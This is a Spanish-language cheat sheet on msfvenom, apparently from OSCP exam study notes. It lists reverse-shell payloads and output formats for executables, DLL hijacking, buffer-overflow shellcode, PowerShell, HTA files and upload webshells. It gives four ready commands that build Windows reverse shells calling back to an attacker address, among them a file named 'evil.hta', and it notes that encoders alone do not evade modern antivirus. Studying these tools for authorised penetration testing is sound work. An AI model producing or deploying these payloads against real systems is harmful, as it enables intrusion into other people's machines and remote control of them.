# msfvenom > El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit. ## Anatomía ```bash msfvenom -p LHOST=TU_IP LPORT=443 -f -o salida [-b badchars] [-e encoder] ``` ## Payloads frecuentes ``` windows/shell_reverse_tcp shell normal (no necesita Metasploit para recibir → nc) windows/meterpreter/reverse_tcp meterpreter (recíbelo con multi/handler) linux/x86/shell_reverse_tcp windows/x64/shell_reverse_tcp (x64) ``` ## Formatos (-f) según el caso ``` exe ejecutable Windows dll DLL hijacking / Exploits conocidos raw shellcode crudo (B0F) py para tu script de Buffer Overflow psh / powershell hta-psh Client-side attacks aspx / war / jsp webshells para upload elf ejecutable Linux ``` ## Ejemplos ```bash msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1 # → AV evasion msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta ``` - Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion. Relacionado: Reverse shell · Metasploit · OSCP MOC